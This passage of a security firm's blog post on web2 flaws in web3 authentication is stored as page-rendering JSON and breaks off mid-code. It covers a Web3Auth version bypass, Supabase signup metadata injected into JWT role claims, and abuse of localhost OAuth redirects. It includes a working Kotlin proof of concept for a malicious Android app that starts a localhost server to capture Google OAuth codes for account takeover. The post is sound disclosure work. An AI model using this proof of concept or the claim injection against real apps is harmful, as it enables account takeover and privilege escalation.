versions.",{"type":22,"tag":23,"props":71122,"children":71123},{},[71124],{"type":27,"value":71125},"To bypass the fix we were able to change the version in the URL:",{"type":22,"tag":17988,"props":71127,"children":71128},{},[71129,71140],{"type":22,"tag":1871,"props":71130,"children":71131},{},[71132,71138],{"type":22,"tag":257,"props":71133,"children":71135},{"className":71134},[],[71136],{"type":27,"value":71137},"https://auth.web3auth.io/v8/start",{"type":27,"value":71139}," (latest version)",{"type":22,"tag":1871,"props":71141,"children":71142},{},[71143,71149],{"type":22,"tag":257,"props":71144,"children":71146},{"className":71145},[],[71147],{"type":27,"value":71148},"https://auth.web3auth.io/v6/start",{"type":27,"value":71150}," (bypass)",{"type":22,"tag":23,"props":71152,"children":71153},{},[71154],{"type":27,"value":71155},"We reported this issue, and it was addressed just as quickly!",{"type":22,"tag":169,"props":71157,"children":71159},{"id":71158},"supabase-metadata-manipulation",[71160],{"type":27,"value":71161},"Supabase metadata manipulation",{"type":22,"tag":181,"props":71163,"children":71165},{"id":71164},"supabase-authentication-flow",[71166],{"type":27,"value":71167},"Supabase Authentication flow",{"type":22,"tag":23,"props":71169,"children":71170},{},[71171,71178,71180,71187],{"type":22,"tag":69,"props":71172,"children":71175},{"href":71173,"rel":71174},"https://supabase.com/docs/guides/auth",[73],[71176],{"type":27,"value":71177},"Supabase",{"type":27,"value":71179}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":22,"tag":69,"props":71181,"children":71184},{"href":71182,"rel":71183},"https://jwt.io/",[73],[71185],{"type":27,"value":71186},"JWT",{"type":27,"value":71188}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":22,"tag":181,"props":71190,"children":71192},{"id":71191},"jwt-verification",[71193],{"type":27,"value":71194},"JWT verification",{"type":22,"tag":23,"props":71196,"children":71197},{},[71198,71200,71205,71206,71212,71214,71220],{"type":27,"value":71199},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":22,"tag":257,"props":71201,"children":71203},{"className":71202},[],[71204],{"type":27,"value":70847},{"type":27,"value":12290},{"type":22,"tag":257,"props":71207,"children":71209},{"className":71208},[],[71210],{"type":27,"value":71211},"identity_data",{"type":27,"value":71213},", in a signup request by manipulating the input inside the ",{"type":22,"tag":257,"props":71215,"children":71217},{"className":71216},[],[71218],{"type":27,"value":71219},"\"data\": {}",{"type":27,"value":71221}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":22,"tag":23,"props":71223,"children":71224},{},[71225,71227,71233,71234,71240,71242,71248],{"type":27,"value":71226},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":22,"tag":257,"props":71228,"children":71230},{"className":71229},[],[71231],{"type":27,"value":71232},"\"role\": \"admin\"",{"type":27,"value":14432},{"type":22,"tag":257,"props":71235,"children":71237},{"className":71236},[],[71238],{"type":27,"value":71239},"\"email_verified\": true",{"type":27,"value":71241},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":22,"tag":257,"props":71243,"children":71245},{"className":71244},[],[71246],{"type":27,"value":71247},"\"test\": \"test\"",{"type":27,"value":71249},", enabling us to inject arbitrary data into the final JWT token.",{"type":22,"tag":23,"props":71251,"children":71252},{},[71253],{"type":22,"tag":215,"props":71254,"children":71256},{"alt":51899,"src":71255},"/posts/web2-in-web3/image-4.png",[],{"type":22,"tag":23,"props":71258,"children":71259},{},[71260],{"type":27,"value":71261},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":22,"tag":23,"props":71263,"children":71264},{},[71265],{"type":27,"value":71266},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":22,"tag":618,"props":71268,"children":71270},{"className":32678,"code":71269,"language":32680,"meta":7,"style":7},"function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n",[71271],{"type":22,"tag":257,"props":71272,"children":71273},{"__ignoreMap":7},[71274,71299,71311,71380,71429,71477,71522,71545,71582,71598,71605],{"type":22,"tag":264,"props":71275,"children":71276},{"class":1534,"line":1535},[71277,71281,71286,71290,71295],{"type":22,"tag":264,"props":71278,"children":71279},{"style":4293},[71280],{"type":27,"value":32692},{"type":22,"tag":264,"props":71282,"children":71283},{"style":4401},[71284],{"type":27,"value":71285}," parseSupaBase",{"type":22,"tag":264,"props":71287,"children":71288},{"style":1539},[71289],{"type":27,"value":2660},{"type":22,"tag":264,"props":71291,"children":71292},{"style":1549},[71293],{"type":27,"value":71294},"token",{"type":22,"tag":264,"props":71296,"children":71297},{"style":1539},[71298],{"type":27,"value":16103},{"type":22,"tag":264,"props":71300,"children":71301},{"class":1534,"line":1545},[71302,71307],{"type":22,"tag":264,"props":71303,"children":71304},{"style":4328},[71305],{"type":27,"value":71306},"    try",{"type":22,"tag":264,"props":71308,"children":71309},{"style":1539},[71310],{"type":27,"value":4594},{"type":22,"tag":264,"props":71312,"children":71313},{"class":1534,"line":1560},[71314,71318,71322,71327,71331,71336,71340,71345,71349,71353,71358,71362,71367,71371,71376],{"type":22,"tag":264,"props":71315,"children":71316},{"style":4293},[71317],{"type":27,"value":34217},{"type":22,"tag":264,"props":71319,"children":71320},{"style":1539},[71321],{"type":27,"value":24333},{"type":22,"tag":264,"props":71323,"children":71324},{"style":1549},[71325],{"type":27,"value":71326},"header",{"type":22,"tag":264,"props":71328,"children":71329},{"style":1539},[71330],{"type":27,"value":4380},{"type":22,"tag":264,"props":71332,"children":71333},{"style":1549},[71334],{"type":27,"value":71335},"payload",{"type":22,"tag":264,"props":71337,"children":71338},{"style":1539},[71339],{"type":27,"value":4380},{"type":22,"tag":264,"props":71341,"children":71342},{"style":1549},[71343],{"type":27,"value":71344},"signature",{"type":22,"tag":264,"props":71346,"children":71347},{"style":1539},[71348],{"type":27,"value":9956},{"type":22,"tag":264,"props":71350,"children":71351},{"style":4309},[71352],{"type":27,"value":429},{"type":22,"tag":264,"props":71354,"children":71355},{"style":1549},[71356],{"type":27,"value":71357}," token",{"type":22,"tag":264,"props":71359,"children":71360},{"style":1539},[71361],{"type":27,"value":210},{"type":22,"tag":264,"props":71363,"children":71364},{"style":4401},[71365],{"type":27,"value":71366},"split",{"type":22,"tag":264,"props":71368,"children":71369},{"style":1539},[71370],{"type":27,"value":2660},{"type":22,"tag":264,"props":71372,"children":71373},{"style":1597},[71374],{"type":27,"value":71375},"'.'",{"type":22,"tag":264,"props":71377,"children":71378},{"style":1539},[71379],{"type":27,"value":5142},{"type":22,"tag":264,"props":71381,"children":71382},{"class":1534,"line":1569},[71383,71387,71392,71396,71400,71404,71408,71412,71417,71421,71425],{"type":22,"tag":264,"props":71384,"children":71385},{"style":4293},[71386],{"type":27,"value":34217},{"type":22,"tag":264,"props":71388,"children":71389},{"style":1549},[71390],{"type":27,"value":71391}," decodedHeader",{"type":22,"tag":264,"props":71393,"children":71394},{"style":4309},[71395],{"type":27,"value":4312},{"type":22,"tag":264,"props":71397,"children":71398},{"style":1549},[71399],{"type":27,"value":38842},{"type":22,"tag":264,"props":71401,"children":71402},{"style":1539},[71403],{"type":27,"value":210},{"type":22,"tag":264,"props":71405,"children":71406},{"style":4401},[71407],{"type":27,"value":40526},{"type":22,"tag":264,"props":71409,"children":71410},{"style":1539},[71411],{"type":27,"value":2660},{"type":22,"tag":264,"props":71413,"children":71414},{"style":4401},[71415],{"type":27,"value":71416},"atob",{"type":22,"tag":264,"props":71418,"children":71419},{"style":1539},[71420],{"type":27,"value":2660},{"type":22,"tag":264,"props":71422,"children":71423},{"style":1549},[71424],{"type":27,"value":71326},{"type":22,"tag":264,"props":71426,"children":71427},{"style":1539},[71428],{"type":27,"value":8516},{"type":22,"tag":264,"props":71430,"children":71431},{"class":1534,"line":1583},[71432,71436,71441,71445,71449,71453,71457,71461,71465,71469,71473],{"type":22,"tag":264,"props":71433,"children":71434},{"style":4293},[71435],{"type":27,"value":34217},{"type":22,"tag":264,"props":71437,"children":71438},{"style":1549},[71439],{"type":27,"value":71440}," decodedPayload",{"type":22,"tag":264,"props":71442,"children":71443},{"style":4309},[71444],{"type":27,"value":4312},{"type":22,"tag":264,"props":71446,"children":71447},{"style":1549},[71448],{"type":27,"value":38842},{"type":22,"tag":264,"props":71450,"children":71451},{"style":1539},[71452],{"type":27,"value":210},{"type":22,"tag":264,"props":71454,"children":71455},{"style":4401},[71456],{"type":27,"value":40526},{"type":22,"tag":264,"props":71458,"children":71459},{"style":1539},[71460],{"type":27,"value":2660},{"type":22,"tag":264,"props":71462,"children":71463},{"style":4401},[71464],{"type":27,"value":71416},{"type":22,"tag":264,"props":71466,"children":71467},{"style":1539},[71468],{"type":27,"value":2660},{"type":22,"tag":264,"props":71470,"children":71471},{"style":1549},[71472],{"type":27,"value":71335},{"type":22,"tag":264,"props":71474,"children":71475},{"style":1539},[71476],{"type":27,"value":8516},{"type":22,"tag":264,"props":71478,"children":71479},{"class":1534,"line":1603},[71480,71484,71488,71493,71497,71501,71506,71510,71514,71518],{"type":22,"tag":264,"props":71481,"children":71482},{"style":4328},[71483],{"type":27,"value":17044},{"type":22,"tag":264,"props":71485,"children":71486},{"style":1539},[71487],{"type":27,"value":10884},{"type":22,"tag":264,"props":71489,"children":71490},{"style":1549},[71491],{"type":27,"value":71492},"header:",{"type":22,"tag":264,"props":71494,"children":71495},{"style":1549},[71496],{"type":27,"value":71391},{"type":22,"tag":264,"props":71498,"children":71499},{"style":1539},[71500],{"type":27,"value":4380},{"type":22,"tag":264,"props":71502,"children":71503},{"style":1549},[71504],{"type":27,"value":71505},"payload:",{"type":22,"tag":264,"props":71507,"children":71508},{"style":1549},[71509],{"type":27,"value":71440},{"type":22,"tag":264,"props":71511,"children":71512},{"style":1539},[71513],{"type":27,"value":4380},{"type":22,"tag":264,"props":71515,"children":71516},{"style":1549},[71517],{"type":27,"value":71344},{"type":22,"tag":264,"props":71519,"children":71520},{"style":1539},[71521],{"type":27,"value":19602},{"type":22,"tag":264,"props":71523,"children":71524},{"class":1534,"line":1612},[71525,71529,71533,71537,71541],{"type":22,"tag":264,"props":71526,"children":71527},{"style":1539},[71528],{"type":27,"value":17079},{"type":22,"tag":264,"props":71530,"children":71531},{"style":4328},[71532],{"type":27,"value":49731},{"type":22,"tag":264,"props":71534,"children":71535},{"style":1539},[71536],{"type":27,"value":4370},{"type":22,"tag":264,"props":71538,"children":71539},{"style":1549},[71540],{"type":27,"value":16163},{"type":22,"tag":264,"props":71542,"children":71543},{"style":1539},[71544],{"type":27,"value":16103},{"type":22,"tag":264,"props":71546,"children":71547},{"class":1534,"line":1621},[71548,71553,71557,71561,71565,71570,71574,71578],{"type":22,"tag":264,"props":71549,"children":71550},{"style":1549},[71551],{"type":27,"value":71552},"        console",{"type":22,"tag":264,"props":71554,"children":71555},{"style":1539},[71556],{"type":27,"value":210},{"type":22,"tag":264,"props":71558,"children":71559},{"style":4401},[71560],{"type":27,"value":16163},{"type":22,"tag":264,"props":71562,"children":71563},{"style":1539},[71564],{"type":27,"value":2660},{"type":22,"tag":264,"props":71566,"children":71567},{"style":1597},[71568],{"type":27,"value":71569},"'Error parsing token:'",{"type":22,"tag":264,"props":71571,"children":71572},{"style":1539},[71573],{"type":27,"value":4380},{"type":22,"tag":264,"props":71575,"children":71576},{"style":1549},[71577],{"type":27,"value":16163},{"type":22,"tag":264,"props":71579,"children":71580},{"style":1539},[71581],{"type":27,"value":5142},{"type":22,"tag":264,"props":71583,"children":71584},{"class":1534,"line":1629},[71585,71589,71594],{"type":22,"tag":264,"props":71586,"children":71587},{"style":4328},[71588],{"type":27,"value":17044},{"type":22,"tag":264,"props":71590,"children":71591},{"style":4293},[71592],{"type":27,"value":71593}," null",{"type":22,"tag":264,"props":71595,"children":71596},{"style":1539},[71597],{"type":27,"value":4322},{"type":22,"tag":264,"props":71599,"children":71600},{"class":1534,"line":1642},[71601],{"type":22,"tag":264,"props":71602,"children":71603},{"style":1539},[71604],{"type":27,"value":1674},{"type":22,"tag":264,"props":71606,"children":71607},{"class":1534,"line":1660},[71608],{"type":22,"tag":264,"props":71609,"children":71610},{"style":1539},[71611],{"type":27,"value":1692},{"type":22,"tag":181,"props":71613,"children":71614},{"id":41648},[71615],{"type":27,"value":41651},{"type":22,"tag":23,"props":71617,"children":71618},{},[71619,71621,71628,71630,71636],{"type":27,"value":71620},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":22,"tag":69,"props":71622,"children":71625},{"href":71623,"rel":71624},"https://supabase.com/docs/guides/database/postgres/row-level-security",[73],[71626],{"type":27,"value":71627},"Row-Level Security",{"type":27,"value":71629}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":22,"tag":257,"props":71631,"children":71633},{"className":71632},[],[71634],{"type":27,"value":71635},"app_metadata",{"type":27,"value":71637},". These fields must be strictly validated at every step of their creation and update processes.",{"type":22,"tag":169,"props":71639,"children":71641},{"id":71640},"oauth-in-development-environments",[71642],{"type":27,"value":71643},"OAuth in development environments",{"type":22,"tag":23,"props":71645,"children":71646},{},[71647,71649,71656,71658,71663],{"type":27,"value":71648},"After watching a ",{"type":22,"tag":69,"props":71650,"children":71653},{"href":71651,"rel":71652},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[73],[71654],{"type":27,"value":71655},"talk",{"type":27,"value":71657}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":22,"tag":257,"props":71659,"children":71661},{"className":71660},[],[71662],{"type":27,"value":71089},{"type":27,"value":71664}," parameter during the OAuth flow.",{"type":22,"tag":23,"props":71666,"children":71667},{},[71668,71670,71677],{"type":27,"value":71669},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":22,"tag":69,"props":71671,"children":71674},{"href":71672,"rel":71673},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[73],[71675],{"type":27,"value":71676},"Remote Code Execution",{"type":27,"value":71678}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":22,"tag":23,"props":71680,"children":71681},{},[71682,71684,71690],{"type":27,"value":71683},"In one of our client's implementations, we identified that ",{"type":22,"tag":257,"props":71685,"children":71687},{"className":71686},[],[71688],{"type":27,"value":71689},"localhost:3000",{"type":27,"value":71691}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":22,"tag":23,"props":71693,"children":71694},{},[71695],{"type":27,"value":71696},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":22,"tag":618,"props":71698,"children":71702},{"className":71699,"code":71700,"language":71701,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[71703],{"type":22,"tag":257,"props":71704,"children":71705},{"__ignoreMap":7},[71706],{"type":22,"tag":264,"props":71707,"children":71708},{"class":1534,"line":1535},[71709],{"type":22,"tag":264,"props":71710,"children":71711},{},[71712],{"type":27,"value":71700},{"type":22,"tag":23,"props":71714,"children":71715},{},[71716],{"type":27,"value":71717},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":22,"tag":618,"props":71719,"children":71723},{"className":71720,"code":71721,"language":71722,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[71724],{"type":22,"tag":257,"props":71725,"children":71726},{"__ignoreMap":7},[71727,71754,71761,71793,71815,71822,71830,71852,71864,71876,71911,71937,71987,71994,72001,72008,72016,72038,72073,72086,72093,72100,72121,72147,72159,72180,72197,72209,72235,72274,72295,72303,72315,72340,72352,72365,72373,72380,72388,72396,72403,72433,72440],{"type":22,"tag":264,"props":71728,"children":71729},{"class":1534,"line":1535},[71730,71735,71740,71745,71750],{"type":22,"tag":264,"props":71731,"children":71732},{"style":4293},[71733],{"type":27,"value":71734},"class",{"type":22,"tag":264,"props":71736,"children":71737},{"style":4722},[71738],{"type":27,"value":71739}," MainActivity",{"type":22,"tag":264,"props":71741,"children":71742},{"style":1539},[71743],{"type":27,"value":71744}," : ",{"type":22,"tag":264,"props":71746,"children":71747},{"style":4722},[71748],{"type":27,"value":71749},"AppCompatActivity",{"type":22,"tag":264,"props":71751,"children":71752},{"style":1539},[71753],{"type":27,"value":17036},{"type":22,"tag":264,"props":71755,"children":71756},{"class":1534,"line":1545},[71757],{"type":22,"tag":264,"props":71758,"children":71759},{"emptyLinePlaceholder":17},[71760],{"type":27,"value":4986},{"type":22,"tag":264,"props":71762,"children":71763},{"class":1534,"line":1560},[71764,71769,71773,71778,71783,71788],{"type":22,"tag":264,"props":71765,"children":71766},{"style":4293},[71767],{"type":27,"value":71768},"    override",{"type":22,"tag":264,"props":71770,"children":71771},{"style":4293},[71772],{"type":27,"value":7499},{"type":22,"tag":264,"props":71774,"children":71775},{"style":4401},[71776],{"type":27,"value":71777}," onCreate",{"type":22,"tag":264,"props":71779,"children":71780},{"style":1539},[71781],{"type":27,"value":71782},"(savedInstanceState: ",{"type":22,"tag":264,"props":71784,"children":71785},{"style":4722},[71786],{"type":27,"value":71787},"Bundle",{"type":22,"tag":264,"props":71789,"children":71790},{"style":1539},[71791],{"type":27,"value":71792},"?) {\n",{"type":22,"tag":264,"props":71794,"children":71795},{"class":1534,"line":1569},[71796,71801,71805,71810],{"type":22,"tag":264,"props":71797,"children":71798},{"style":4293},[71799],{"type":27,"value":71800},"        super",{"type":22,"tag":264,"props":71802,"children":71803},{"style":1539},[71804],{"type":27,"value":210},{"type":22,"tag":264,"props":71806,"children":71807},{"style":4401},[71808],{"type":27,"value":71809},"onCreate",{"type":22,"tag":264,"props":71811,"children":71812},{"style":1539},[71813],{"type":27,"value":71814},"(savedInstanceState)\n",{"type":22,"tag":264,"props":71816,"children":71817},{"class":1534,"line":1583},[71818],{"type":22,"tag":264,"props":71819,"children":71820},{"emptyLinePlaceholder":17},[71821],{"type":27,"value":4986},{"type":22,"tag":264,"props":71823,"children":71824},{"class":1534,"line":1603},[71825],{"type":22,"tag":264,"props":71826,"children":71827},{"style":4284},[71828],{"type":27,"value":71829},"        // Start the Ktor web server\n",{"type":22,"tag":264,"props":71831,"children":71832},{"class":1534,"line":1612},[71833,71838,71843,71848],{"type":22,"tag":264,"props":71834,"children":71835},{"style":4401},[71836],{"type":27,"value":71837},"        CoroutineScope",{"type":22,"tag":264,"props":71839,"children":71840},{"style":1539},[71841],{"type":27,"value":71842},"(Dispatchers.IO).",{"type":22,"tag":264,"props":71844,"children":71845},{"style":4401},[71846],{"type":27,"value":71847},"launch",{"type":22,"tag":264,"props":71849,"children":71850},{"style":1539},[71851],{"type":27,"value":4594},{"type":22,"tag":264,"props":71853,"children":71854},{"class":1534,"line":1621},[71855,71860],{"type":22,"tag":264,"props":71856,"children":71857},{"style":4328},[71858],{"type":27,"value":71859},"            try",{"type":22,"tag":264,"props":71861,"children":71862},{"style":1539},[71863],{"type":27,"value":4594},{"type":22,"tag":264,"props":71865,"children":71866},{"class":1534,"line":1629},[71867,71872],{"type":22,"tag":264,"props":71868,"children":71869},{"style":4401},[71870],{"type":27,"value":71871},"                startWebServer",{"type":22,"tag":264,"props":71873,"children":71874},{"style":1539},[71875],{"type":27,"value":9029},{"type":22,"tag":264,"props":71877,"children":71878},{"class":1534,"line":1642},[71879,71884,71889,71893,71898,71902,71907],{"type":22,"tag":264,"props":71880,"children":71881},{"style":1539},[71882],{"type":27,"value":71883},"                Log.",{"type":22,"tag":264,"props":71885,"children":71886},{"style":4401},[71887],{"type":27,"value":71888},"d",{"type":22,"tag":264,"props":71890,"children":71891},{"style":1539},[71892],{"type":27,"value":2660},{"type":22,"tag":264,"props":71894,"children":71895},{"style":1597},[71896],{"type":27,"value":71897},"\"WebServer\"",{"type":22,"tag":264,"props":71899,"children":71900},{"style":1539},[71901],{"type":27,"value":4380},{"type":22,"tag":264,"props":71903,"children":71904},{"style":1597},[71905],{"type":27,"value":71906},"\"Server started on http://localhost:3000\"",{"type":22,"tag":264,"props":71908,"children":71909},{"style":1539},[71910],{"type":27,"value":4463},{"type":22,"tag":264,"props":71912,"children":71913},{"class":1534,"line":1660},[71914,71919,71923,71928,71933],{"type":22,"tag":264,"props":71915,"children":71916},{"style":1539},[71917],{"type":27,"value":71918},"            } ",{"type":22,"tag":264,"props":71920,"children":71921},{"style":4293},[71922],{"type":27,"value":49731},{"type":22,"tag":264,"props":71924,"children":71925},{"style":1539},[71926],{"type":27,"value":71927}," (e: ",{"type":22,"tag":264,"props":71929,"children":71930},{"style":4722},[71931],{"type":27,"value":71932},"Exception",{"type":22,"tag":264,"props":71934,"children":71935},{"style":1539},[71936],{"type":27,"value":16103},{"type":22,"tag":264,"props":71938,"children":71939},{"class":1534,"line":1668},[71940,71944,71948,71952,71956,71960,71965,71969,71974,71978,71982],{"type":22,"tag":264,"props":71941,"children":71942},{"style":1539},[71943],{"type":27,"value":71883},{"type":22,"tag":264,"props":71945,"children":71946},{"style":4401},[71947],{"type":27,"value":52775},{"type":22,"tag":264,"props":71949,"children":71950},{"style":1539},[71951],{"type":27,"value":2660},{"type":22,"tag":264,"props":71953,"children":71954},{"style":1597},[71955],{"type":27,"value":71897},{"type":22,"tag":264,"props":71957,"children":71958},{"style":1539},[71959],{"type":27,"value":4380},{"type":22,"tag":264,"props":71961,"children":71962},{"style":1597},[71963],{"type":27,"value":71964},"\"Error starting server: ",{"type":22,"tag":264,"props":71966,"children":71967},{"style":4293},[71968],{"type":27,"value":35423},{"type":22,"tag":264,"props":71970,"children":71971},{"style":4309},[71972],{"type":27,"value":71973},"e.message",{"type":22,"tag":264,"props":71975,"children":71976},{"style":4293},[71977],{"type":27,"value":35455},{"type":22,"tag":264,"props":71979,"children":71980},{"style":1597},[71981],{"type":27,"value":21366},{"type":22,"tag":264,"props":71983,"children":71984},{"style":1539},[71985],{"type":27,"value":71986},", e)\n",{"type":22,"tag":264,"props":71988,"children":71989},{"class":1534,"line":1677},[71990],{"type":22,"tag":264,"props":71991,"children":71992},{"style":1539},[71993],{"type":27,"value":60206},{"type":22,"tag":264,"props":71995,"children":71996},{"class":1534,"line":1686},[71997],{"type":22,"tag":264,"props":71998,"children":71999},{"style":1539},[72000],{"type":27,"value":4651},{"type":22,"tag":264,"props":72002,"children":72003},{"class":1534,"line":4948},[72004],{"type":22,"tag":264,"props":72005,"children":72006},{"emptyLinePlaceholder":17},[72007],{"type":27,"value":4986},{"type":22,"tag":264,"props":72009,"children":72010},{"class":1534,"line":4957},[72011],{"type":22,"tag":264,"props":72012,"children":72013},{"style":4284},[72014],{"type":27,"value":72015},"        // Open the Google OAuth page\n",{"type":22,"tag":264,"props":72017,"children":72018},{"class":1534,"line":4980},[72019,72024,72029,72033],{"type":22,"tag":264,"props":72020,"children":72021},{"style":4293},[72022],{"type":27,"value":72023},"        val",{"type":22,"tag":264,"props":72025,"children":72026},{"style":1539},[72027],{"type":27,"value":72028}," googleOAuthUrl ",{"type":22,"tag":264,"props":72030,"children":72031},{"style":4309},[72032],{"type":27,"value":429},{"type":22,"tag":264,"props":72034,"children":72035},{"style":1597},[72036],{"type":27,"value":72037}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":22,"tag":264,"props":72039,"children":72040},{"class":1534,"line":4989},[72041,72045,72050,72054,72059,72064,72068],{"type":22,"tag":264,"props":72042,"children":72043},{"style":4293},[72044],{"type":27,"value":72023},{"type":22,"tag":264,"props":72046,"children":72047},{"style":1539},[72048],{"type":27,"value":72049}," browserIntent ",{"type":22,"tag":264,"props":72051,"children":72052},{"style":4309},[72053],{"type":27,"value":429},{"type":22,"tag":264,"props":72055,"children":72056},{"style":4401},[72057],{"type":27,"value":72058}," Intent",{"type":22,"tag":264,"props":72060,"children":72061},{"style":1539},[72062],{"type":27,"value":72063},"(Intent.ACTION_VIEW, Uri.",{"type":22,"tag":264,"props":72065,"children":72066},{"style":4401},[72067],{"type":27,"value":40526},{"type":22,"tag":264,"props":72069,"children":72070},{"style":1539},[72071],{"type":27,"value":72072},"(googleOAuthUrl))\n",{"type":22,"tag":264,"props":72074,"children":72075},{"class":1534,"line":4998},[72076,72081],{"type":22,"tag":264,"props":72077,"children":72078},{"style":4401},[72079],{"type":27,"value":72080},"        startActivity",{"type":22,"tag":264,"props":72082,"children":72083},{"style":1539},[72084],{"type":27,"value":72085},"(browserIntent)\n",{"type":22,"tag":264,"props":72087,"children":72088},{"class":1534,"line":5067},[72089],{"type":22,"tag":264,"props":72090,"children":72091},{"style":1539},[72092],{"type":27,"value":1674},{"type":22,"tag":264,"props":72094,"children":72095},{"class":1534,"line":5075},[72096],{"type":22,"tag":264,"props":72097,"children":72098},{"emptyLinePlaceholder":17},[72099],{"type":27,"value":4986},{"type":22,"tag":264,"props":72101,"children":72102},{"class":1534,"line":5105},[72103,72108,72112,72117],{"type":22,"tag":264,"props":72104,"children":72105},{"style":4293},[72106],{"type":27,"value":72107},"    private",{"type":22,"tag":264,"props":72109,"children":72110},{"style":4293},[72111],{"type":27,"value":7499},{"type":22,"tag":264,"props":72113,"children":72114},{"style":4401},[72115],{"type":27,"value":72116}," startWebServer",{"type":22,"tag":264,"props":72118,"children":72119},{"style":1539},[72120],{"type":27,"value":17036},{"type":22,"tag":264,"props":72122,"children":72123},{"class":1534,"line":5113},[72124,72129,72134,72138,72143],{"type":22,"tag":264,"props":72125,"children":72126},{"style":4401},[72127],{"type":27,"value":72128},"        embeddedServer",{"type":22,"tag":264,"props":72130,"children":72131},{"style":1539},[72132],{"type":27,"value":72133},"(CIO, port ",{"type":22,"tag":264,"props":72135,"children":72136},{"style":4309},[72137],{"type":27,"value":429},{"type":22,"tag":264,"props":72139,"children":72140},{"style":4344},[72141],{"type":27,"value":72142}," 3000",{"type":22,"tag":264,"props":72144,"children":72145},{"style":1539},[72146],{"type":27,"value":16103},{"type":22,"tag":264,"props":72148,"children":72149},{"class":1534,"line":5145},[72150,72155],{"type":22,"tag":264,"props":72151,"children":72152},{"style":4401},[72153],{"type":27,"value":72154},"            routing",{"type":22,"tag":264,"props":72156,"children":72157},{"style":1539},[72158],{"type":27,"value":4594},{"type":22,"tag":264,"props":72160,"children":72161},{"class":1534,"line":5153},[72162,72167,72171,72176],{"type":22,"tag":264,"props":72163,"children":72164},{"style":4293},[72165],{"type":27,"value":72166},"                